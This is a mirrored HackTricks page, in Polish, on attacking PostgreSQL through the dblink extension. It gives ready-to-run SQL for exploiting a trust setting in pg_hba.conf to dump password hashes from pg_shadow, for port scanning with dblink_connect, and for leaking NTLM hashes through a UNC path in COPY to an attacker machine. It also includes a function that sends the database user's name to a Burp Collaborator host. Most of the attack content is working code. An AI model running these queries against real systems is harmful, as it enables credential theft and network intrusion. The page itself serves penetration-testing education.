mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
98 lines
4.0 KiB
Markdown
98 lines
4.0 KiB
Markdown
# Sieć - Privesc, Skaner Portów i ujawnienie odpowiedzi NTLM
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
**Znajdź** [**więcej informacji na temat tych ataków w oryginalnym dokumencie**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
|
|
|
|
Od **PostgreSQL 9.1** instalacja dodatkowych modułów jest prosta. [Zarejestrowane rozszerzenia, takie jak `dblink`](https://www.postgresql.org/docs/current/contrib.html), można zainstalować za pomocą [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
|
|
```sql
|
|
CREATE EXTENSION dblink;
|
|
```
|
|
Gdy masz załadowany dblink, możesz wykonać kilka interesujących sztuczek:
|
|
|
|
### Eskalacja Uprawnień
|
|
|
|
Plik `pg_hba.conf` może być źle skonfigurowany **pozwalając na połączenia** z **localhost jako dowolny użytkownik** bez potrzeby znajomości hasła. Plik ten można zazwyczaj znaleźć w `/etc/postgresql/12/main/pg_hba.conf`, a zła konfiguracja wygląda następująco:
|
|
```
|
|
local all all trust
|
|
```
|
|
_Note, że ta konfiguracja jest powszechnie używana do modyfikacji hasła użytkownika bazy danych, gdy administrator je zapomni, więc czasami możesz ją znaleźć._\
|
|
_Note również, że plik pg_hba.conf jest czytelny tylko dla użytkownika i grupy postgres oraz zapisywalny tylko przez użytkownika postgres._
|
|
|
|
Ten przypadek jest **przydatny, jeśli** masz **już** **powłokę** wewnątrz ofiary, ponieważ pozwoli ci to połączyć się z bazą danych postgresql.
|
|
|
|
Inna możliwa błędna konfiguracja polega na czymś takim:
|
|
```
|
|
host all all 127.0.0.1/32 trust
|
|
```
|
|
Ponieważ pozwoli to każdemu z localhostu na połączenie z bazą danych jako dowolny użytkownik.\
|
|
W tym przypadku, jeśli funkcja **`dblink`** działa, możesz **eskalować uprawnienia**, łącząc się z bazą danych przez już nawiązane połączenie i uzyskać dostęp do danych, do których nie powinieneś mieć dostępu:
|
|
```sql
|
|
SELECT * FROM dblink('host=127.0.0.1
|
|
user=postgres
|
|
dbname=postgres',
|
|
'SELECT datname FROM pg_database')
|
|
RETURNS (result TEXT);
|
|
|
|
SELECT * FROM dblink('host=127.0.0.1
|
|
user=postgres
|
|
dbname=postgres',
|
|
'select usename, passwd from pg_shadow')
|
|
RETURNS (result1 TEXT, result2 TEXT);
|
|
```
|
|
### Port Scanning
|
|
|
|
Wykorzystując `dblink_connect`, możesz również **wyszukiwać otwarte porty**. Jeśli ta **funkcja nie działa, powinieneś spróbować użyć `dblink_connect_u()`, ponieważ dokumentacja mówi, że `dblink_connect_u()` jest identyczna z `dblink_connect()`, z wyjątkiem tego, że pozwoli użytkownikom niebędącym superużytkownikami łączyć się przy użyciu dowolnej metody uwierzytelniania**.
|
|
```sql
|
|
SELECT * FROM dblink_connect('host=216.58.212.238
|
|
port=443
|
|
user=name
|
|
password=secret
|
|
dbname=abc
|
|
connect_timeout=10');
|
|
//Different response
|
|
// Port closed
|
|
RROR: could not establish connection
|
|
DETAIL: could not connect to server: Connection refused
|
|
Is the server running on host "127.0.0.1" and accepting
|
|
TCP/IP connections on port 4444?
|
|
|
|
// Port Filtered/Timeout
|
|
ERROR: could not establish connection
|
|
DETAIL: timeout expired
|
|
|
|
// Accessing HTTP server
|
|
ERROR: could not establish connection
|
|
DETAIL: timeout expired
|
|
|
|
// Accessing HTTPS server
|
|
ERROR: could not establish connection
|
|
DETAIL: received invalid response to SSL negotiation:
|
|
```
|
|
Zauważ, że **przed** możliwością użycia `dblink_connect` lub `dblink_connect_u` może być konieczne wykonanie:
|
|
```
|
|
CREATE extension dblink;
|
|
```
|
|
### UNC path - ujawnienie hasha NTLM
|
|
```sql
|
|
-- can be used to leak hashes to Responder/equivalent
|
|
CREATE TABLE test();
|
|
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
|
|
```
|
|
|
|
```sql
|
|
-- to extract the value of user and send it to Burp Collaborator
|
|
CREATE TABLE test(retval text);
|
|
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
|
|
DECLARE sqlstring TEXT;
|
|
DECLARE userval TEXT;
|
|
BEGIN
|
|
SELECT INTO userval (SELECT user);
|
|
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
|
|
EXECUTE sqlstring;
|
|
END;
|
|
$$ LANGUAGE plpgsql SECURITY DEFINER;
|
|
SELECT testfunc();
|
|
```
|
|
{{#include ../../../banners/hacktricks-training.md}}
|